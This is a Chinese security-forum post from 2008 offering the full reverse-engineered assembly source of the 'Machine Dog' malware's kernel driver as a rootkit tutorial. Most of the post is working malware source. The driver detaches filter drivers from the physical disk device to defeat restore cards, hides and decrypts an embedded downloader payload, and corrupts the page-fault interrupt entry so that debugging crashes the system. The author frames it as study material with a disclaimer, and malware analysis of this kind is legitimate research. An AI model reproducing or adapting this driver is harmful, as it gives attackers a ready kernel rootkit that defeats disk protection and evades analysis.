今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook.

这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。但是从学习角度来讲,这里面rootkit的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们rootkit的开篇来讲。希望大家不要将代码用于他途。

对于这个rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。。。。。。

信息隐藏亮点之一: 将rootkit作为资源隐藏于用户模式程序之中
            亮点之二: 将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。
           亮点之三:用一个固定的KEY,通过某种运算,产生出1024个密钥组成的数组。
                         然后用这个密钥组与用户代码进行运算,最终生成一个4字节的解码KEY。
                         利用解码KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的
                        下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后
                        还要把痕迹擦得一干二净。
          亮点之四:修改idt 0e号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到
                        反调试的功能。

这些亮点仅仅是rootkit中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。好了,我们言归正传。

突破还原卡原理:在这里他使用的就是object hook大法。

1。IRP_MJ_CREATE例程负责得到磁盘设备对象,调用IoGetDeviceObjectPointer函数得到设备名“\\Device\\Harddisk0\\DR0”的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。

2。IRP_MJ_CLOSE 中对恢复DR0上的附加,做到来无影去无踪。

分析了这么多,我们来看逆向的代码:
.386
.model flat, stdcall
option casemap:none

include pcihdd.inc

.data
  aDevicePhysical  db '\Device\PhysicalHardDisk0',0
  aDosdevicesPhys  db '\DosDevices\PhysicalHardDisk0',0
  SourceString db  '\Device\Harddisk0\DR0',0
  g_DeviceObject dd  0
  g_AttachedDevice dd  0
  DecodeKey dd  1024 dup (0)
  DecodeKEY dd  0
  P dd 0
  NumberOfBytes dd 0
  IDTData db 6 dup(0)
  Format db '%08X',0

.code

;*******************************************************************************
; 产生一个解密密钥数组
;*******************************************************************************
CreateDecodeKey proc
  jmp  short $+2 ;花指令
  mov  ecx, 100h
  mov  edx, 0CCECC9B1h  ;KEY
  
OutLoop:
  lea  eax, [ecx-1] 
  push  ecx
  mov  ecx, 8
  
InLoop:
  shr  eax, 1 
  jnb  ContinueLoop
  xor  eax, edx
  
ContinueLoop:
  dec  ecx
  jnz  InLoop
  pop  ecx
  mov  DecodeKey[ecx*4], eax ;保存解密密钥数组
  dec  ecx
  jnz  OutLoop
  retn
CreateDecodeKey endp

;*****************************************************************************
; 将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密KEY,该
; 解密KEY将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户.(看start)
;*****************************************************************************
DecodeInputData proc  near
  jmp  short $+2 ;花指令
  mov  eax, 0FFFFFFFFh
  or  ebx, ebx   ;判断IRP.AssociatedIrp.SystemBuffer是否为空
  jz  Quit
  
@@:
  mov  dl, [ebx]
  xor  dl, al
  movzx  edx, dl
  shr  eax, 8
  xor  eax, DecodeKey[edx*4]
  inc  ebx
  dec  ecx
  jnz  @B
  
Quit:
  not  eax
  retn
DecodeInputData endp



;************************************************************************
; 在第三级资源中取出资源信息,成功后,返回取出的资源长度
;************************************************************************

SearchResourceByIDInThirdLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
  LOCAL RetValue:dword  
  pusha
  xor  eax, eax
  mov  RetValue, eax
  mov  esi, ChildResource
  mov  cx, [esi+0Ch];以名称命名的入口数量
  add  cx, [esi+0Eh];以ID命名的入口数量
  movzx  ecx, cx
  add  esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
  
  cmp  ecx, 0
  jbe  Quit
  mov  ebx, [esi+4] ;offsetToData目录项指针
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;ebx指向IMAGE_RESOURCE_DATA_ENTRY结构
  mov  eax, [ebx]  ;取资源数据的RVA ,对应于IMAGE_RESOURCE_DATA_ENTRY结构中的第一项
  add  eax, PEHeader
  mov  ecx, pOutValue ;pOutValue指向资源数据的地址
  mov  [ecx], eax
  mov  ecx, [ebx+4]
  mov  RetValue, ecx ;返回资源数据的长度
  
Quit:
  popa
  mov  eax, RetValue
  retn
SearchResourceByIDInThirdLayer endp



;************************************************************************
; 在第二级资源中查找ID为ChildResID的资源项
;************************************************************************
SearchResourceByIDInSecondLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
  
  LOCAL RetValue:dword
  pusha
  xor  eax, eax
  mov  RetValue, eax
  mov  esi, ChildResource
  mov  cx, [esi+0Ch] ;以名称命名的入口数量
  add  cx, [esi+0Eh] ;以ID命名的入口数量
  movzx  ecx, cx
  add  esi, 10h      ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
  jmp  StartSearchChildDirectoryEntry
  
ContinueSearchChildDirectoryEntry:
  push  ecx
  mov  ebx, [esi+4] ;offsetToData目录项指针
  test  ebx, 80000000h
  jz  JumpOver ;; 如果最高31位为0,则跳过,继续读下一条目录项
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;否则取下一层地址
  mov  edx, [esi] ;取目录项字符串指针或者ID
  test  edx, 80000000h
  jnz  JumpOver  ;如果31位为1的话,[esi]低位代表字符串指针
  cmp  edx, ChildResID
  jnz  JumpOver
  push  pOutValue
  push  ebx
  push  ResourceAddr
  push  PEHeader
  call  SearchResourceByIDInThirdLayer
  mov  RetValue, eax
  or  eax, eax
  jz  JumpOver
  pop  ecx
  jmp  Quit
  
JumpOver:
  add  esi, 8
  pop  ecx
  dec  ecx
  
StartSearchChildDirectoryEntry:
  cmp  ecx, 0
  ja  ContinueSearchChildDirectoryEntry
  
Quit:
  popa
  mov  eax, RetValue
  retn
SearchResourceByIDInSecondLayer endp



;******************************************************************************************
; 在第一级资源中搜索ID为RESOURCEID的资源
;******************************************************************************************

SearchResourceByIDInFirstLayer proc  PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
    LOCAL retvalue:dword 
  LOCAL ResourceAddr:dword
  
  pusha
  xor  eax, eax
  mov  retvalue, eax
  mov  edi, PEHeader
  mov  edi, [edi+3Ch]
  add  edi, PEHeader
  mov  ecx, [edi+8Ch] ;资源表大小
  or  ecx, ecx
  jz  QUIT
  mov  eax, [edi+88h] ;资源表RVA
  add  eax, PEHeader
  mov  ResourceAddr, eax
  push  eax    ; VirtualAddress
  call  MmIsAddressValid
  or  eax, eax
  jnz  @F
  jmp  QUIT
  
@@:
  mov  esi, ResourceAddr
  mov  cx, [esi+0Ch];以名称命名的入口数量
  add  cx, [esi+0Eh];以ID命名的入口数量
  movzx  ecx, cx
  add  esi, 10h     ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
  jmp  StartSearchDirectoryEntry
  
ContinueSearchDirectoryEntry:
  push  ecx
  mov  ebx, [esi+4]  ;offsetToData目录项指针
  test  ebx, 80000000h
  jz  JumpOver ; 如果最高31位为0,则跳过,继续读下一条目录项
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;保存下一层地址
  mov  eax, [esi];取目录项字符串指针或者ID
  test  eax, 80000000h
  jnz   JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
  cmp  eax, RESOURCEID
  jnz  JumpOver
  push  pOutValue ;找到匹配的资源ID
  push  ChildResID
  push  ebx
  push  ResourceAddr
  push  PEHeader
  call  SearchResourceByIDInSecondLayer
  mov  retvalue, eax
  pop  ecx
  jmp  QUIT
  
JumpOver:
  add  esi, 8 ;继续读下一条目录项
  pop  ecx
  dec  ecx
  
StartSearchDirectoryEntry:
  cmp  ecx, 0 ;判断目录块是否遍历完毕
  ja  ContinueSearchDirectoryEntry 
  
QUIT:
  popa
  mov  eax, retvalue
  retn
SearchResourceByIDInFirstLayer endp



; ************************************************************************
;  获取当前驱动文件的内存加载位置,如果没找到,返回0
;*************************************************************************

GetPeHeader proc  near

  LOCAL PEStart:dword
  pusha
  mov  PEStart, 0
  
CURRENT_EIP:
  lea  ebx, CURRENT_EIP
  and  ebx, 0FFFFFC00h ; 将低10位清零
  
CHECKPEHEADER:    ; VirtualAddress
  push  ebx
  call  MmIsAddressValid  ;判断当前地址是否有效
  or  eax, eax              
  jz  QUIT           ;不成功则跳转退出
  cmp  ebx, 80000000h ;如果当前的eip小于等于80000000h,则退出
  jbe  QUIT
  cmp  word ptr [ebx],  5A4Dh ; 'MZ'
  jnz  SEARCHDOSHEADER
  mov  edi, ebx
  add  edi, [ebx+3Ch]
  push  edi    ; VirtualAddress
  call  MmIsAddressValid
  or  eax, eax
  jz  SEARCHPEHEADER
  cmp  word ptr [edi],  4550h ;'PE'
  jnz  SEARCHPEHEADER
  mov  PEStart, ebx
  jmp  QUIT
  
SEARCHPEHEADER:
  sub  ebx, 400h
  jmp  CHECKPEHEADER
  jmp  QUIT
  
SEARCHDOSHEADER:
  sub  ebx, 400h
  jmp  CHECKPEHEADER
  
QUIT:
  popa
  mov  eax, PEStart
  retn
GetPeHeader endp



; ***************************************************************************
; 检查9号中断描述符和E号中断描述符的偏移地址高位字节,如果9号中断描述符的
; 偏移地址高位字节为0,则退出,若不为0,则判断E号中断描述符的偏移地址高位字节
; 与9号中断描述符偏移地址高位字节进行比对,若两者相等,则退出。否则设置E号中断
; 描述符的偏移地址高16位为0.使其指向一个错误的地址。破坏该中断的功能。
; 由于很多调式器会挂接中断0xE,该Rootkit这样做可以使该程序在调式时造成系统蓝屏。
; 因此这是作者设置的反调式陷阱。
;****************************************************************************

AntiDebug proc  near
  LOCAL nTemp:dword
  pusha
  sidt  fword ptr IDTData         
  mov  esi, dword ptr IDTData+2  ;取基地址
  mov  eax, 9                    ;index = 9, #interrupt 09
  shl  eax, 3                    ;每个描述符占8字节
  add  esi, eax                  ;esi指向9号描述符            
  movzx  eax, word ptr [esi+6]     ;取中断函数高16位偏移地址
  shl  eax, 10h
  mov  ax, [esi]                 ;取中断函数低16位偏移地址
  and  eax, 0FF000000h           ;取偏移地址的一个高字节
  mov  nTemp, eax
  test  eax, eax
  jz  QUIT
  mov  esi, dword ptr IDTData+2 ;取基地址
  mov  eax, 0Eh                 ;index = E, #interrupt 0E
  shl  eax, 3                   ;每个描述符占8字节
  add  esi, eax                 ;esi指向E号描述符   
  movzx  eax, word ptr [esi+6]    ;取中断函数高16位偏移地址
  shl  eax, 10h
  mov  ax, [esi]                ;取中断函数低16位偏移地址
  and  eax, 0FF000000h          ;取偏移地址的一个高字节
  cmp  eax, nTemp               ;比较这两个中断描述符中的偏移地址高位字节
  jz  QUIT
  mov  word ptr [esi+6], 0   ;改中断门偏移地址,设置高16位为0
  
QUIT:
  popa
  retn
AntiDebug endp


;************************************************************************************
;  处理IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE请求
;  IRP_MJ_CREATE例程负责得到磁盘设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
;  调用IoGetDeviceObjectPointer函数得到设备名“\\Device\\Harddisk0\\DR0”的设备对象。
;  IRP_MJ_CLOSE 中对恢复DR0上的附加
;  IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,首先根据一个固定KEY产生一个解密数组,然后
;  把用户输入的代码跟解密数组运算,最终产生一个密钥,最后,用这个密钥解密前面找出的sys资源,将
;  解密后的内容返给用户程序。
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword

  LOCAL ObjectName:UNICODE_STRING
  LOCAL DestinationString:OEM_STRING
  LOCAL FileObject:dword
  LOCAL DeviceObject:dword
  
  push  edi
  push  esi
  push  ebx
  mov  edi, pIrp
  mov  dword ptr [edi+1Ch], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
  mov  dword ptr [edi+18h], 0
  
  mov  esi, [edi+60h] ;取IRP.CurrentStackLocation
  movzx  eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
  or  eax, eax
  jnz  IRPMJCLOSE
  jmp  short $+2          ;花指令
  
  ;IRP_MJ_CREATE请求,IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备.
  push  offset SourceString ; "\\Device\\Harddisk0\\DR0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, ObjectName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  xor  eax, eax
  mov  FileObject, eax
  mov  DeviceObject, eax
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  lea  eax, FileObject
  push  eax    ; FileObject
  push  80h    ; DesiredAccess
  lea  eax, ObjectName
  push  eax    ; ObjectName
  call  IoGetDeviceObjectPointer
  mov  eax, FileObject
  jmp  short $+2 ;花指令
  mov  eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
  mov  g_DeviceObject, eax
  cmp  dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
  jz  ClearAttachedDevice
  jmp  short $+2 ;花指令
  mov  ecx, [eax+10h]
  xchg  ecx, g_AttachedDevice
  mov  [eax+10h], ecx
  
ClearAttachedDevice:
  push  FileObject
  call  ObDereferenceObject
  lea  eax, ObjectName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  jmp  Quit
  
IRPMJCLOSE:
  cmp  eax, 2
  jnz  IRPMJDEVICECONTROL
  mov  eax, g_DeviceObject
  or  eax, eax
  jz  Quit
  mov  ecx, g_AttachedDevice
  or  ecx, ecx
  jz  NoAttachedDevice
  mov  [eax+10h], ecx
  
NoAttachedDevice:
  jmp  Quit
  
IRPMJDEVICECONTROL:
  cmp  eax, 0Eh
  jnz  Quit
  mov  eax, [esi+0Ch];  IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
  cmp  eax, 0F0003C04h ;判断是否是应用端传进的ctlcode码
  jnz  Quit
  call  CreateDecodeKey
  mov  ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [esi+8]   ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  call  DecodeInputData
  mov  DecodeKEY, eax
  push  DecodeKEY
  push  offset Format  ; "%08X"
  call  DbgPrint
  add  esp, 8
  mov  eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
  cmp  eax, NumberOfBytes
  jbe  Quit
  
  mov  edi, [edi+3Ch];IRP.UserBuffer
  mov  esi, P
  mov  ecx, NumberOfBytes
  shr  ecx, 2
  
DecodeResource:  ;将资源内容解密输出,反馈给用户
  lodsd
  xor  eax, DecodeKEY
  stosd
  dec  ecx
  jnz  DecodeResource
  mov  ecx, NumberOfBytes
  and  ecx, 3
  rep movsb
  
Quit:
  push  0
  push  pIrp
  call  IoCompleteRequest
  mov  eax, 0
  pop  ebx
  pop  esi
  pop  edi
  retn
DispatchFunction endp


;******************************************************************
; UnLoad例程
;******************************************************************
PCIHDDUnload proc pDriverObject :dword

  LOCAL DestinationString:OEM_STRING
  LOCAL SymbolicLinkName:UNICODE_STRING
  
  push  edi
  push  esi
  push  ebx
  pusha
  cmp  P, 0
  jz  CONTINUE
  push  P    ; P
  call  ExFreePool ;释放内存
  
CONTINUE:
  cmp  pDriverObject, 0  
  jz  QUIT
  push  offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  mov  edi, pDriverObject
  mov  esi, [edi+4]   ;DeviceObject
  jmp  IsDeviceExist
  
DELETEDEVICE:
  mov  edi, [esi+0Ch];DriverObject
  push  esi    ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
  
IsDeviceExist:
  or  esi, esi
  jnz  DELETEDEVICE
  
QUIT:
  popa
  pop  ebx
  pop  esi
  pop  edi
  retn
PCIHDDUnload endp



; **********************************************************************
; 这里是驱动程序的入口处
; **********************************************************************
public start
start proc near

  LOCAL nTemp:dword
  LOCAL DestinationString:OEM_STRING
  LOCAL DeviceObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DeviceName:UNICODE_STRING
  LOCAL DriverObject:dword
  
  push  edi
  push  esi
  push  ebx
  pusha
  nop
  nop
  call  AntiDebug ;反调试
  call  GetPeHeader
  or  eax, eax
  jz  QUIT ;没找到当前驱动内存加载位置
  mov  ecx, eax
  lea  eax, nTemp
  push  eax
  push  3E8h
  push  3E8h
  push  ecx
  call  SearchResourceByIDInFirstLayer
  or  eax, eax
  jz  QUIT
  mov  NumberOfBytes, eax
  push  NumberOfBytes  ; NumberOfBytes
  push  0    ; PoolType
  call  ExAllocatePool ;根据资源长度申请内存
  mov  P, eax
  jmp  short $+2 ;花指令
  mov  edi, P
  mov  esi, nTemp
  mov  ecx, NumberOfBytes
  rep movsb   ;将资源拷贝到缓冲区
  jmp   ContinueWork
  
QUIT:
  popa
  xor  eax, eax
  dec  eax
  pop  ebx
  pop  esi
  pop  edi
  retn
  
ContinueWork:
  jmp  short $+2 ;花指令
  mov  eax, DriverObject
  mov  dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
  lea  edi, [eax+38h]    ;edi指向MajorFunction
  lea  eax, DispatchFunction
  mov  [edi], eax     ;IRP_MJ_CREATE          EQU    0
  mov  [edi+8], eax   ;IRP_MJ_CLOSE          equ   2
  mov  [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL  equ   0Eh  见ntddk.inc
  
  push  offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, DeviceName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  push  offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  15h    ; DeviceType
  lea  eax, DeviceName
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  DriverObject; DriverObject
  call  IoCreateDevice ;创建设备
  or  eax, eax
  jz  CreateDeviceSucess
  jmp   Quit
  
CreateDeviceSucess:
  lea  eax, DeviceName
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink ;创建符号链接
  or  eax, eax
  jz  Quit
  mov  edi, DriverObject
  mov  esi, [edi+4]      ;DRIVER_OBJECT.DeviceObject
  jmp  StartCycle
  
ContinueDeleteDevice:
  mov  edi, [esi+0Ch]   ;DEVICE_OBJECT.DriverObject
  push  esi         ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
  
StartCycle:
  or  esi, esi
  jnz  ContinueDeleteDevice
  jmp  short $+2 ;花指令 ,执行退出指令
  
Quit:
  lea  eax, DeviceName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  popa
  xor  eax, eax
  pop  ebx
  pop  esi
  pop  edi
  retn
start endp

end start


声明:本贴仅用于学习用途,转贴须声明来自看雪。
友情提示:
    阅读本贴之前要详细了解驱动相关的几个结构体,并好好看看驱动版块最近两天发表的几个帖子。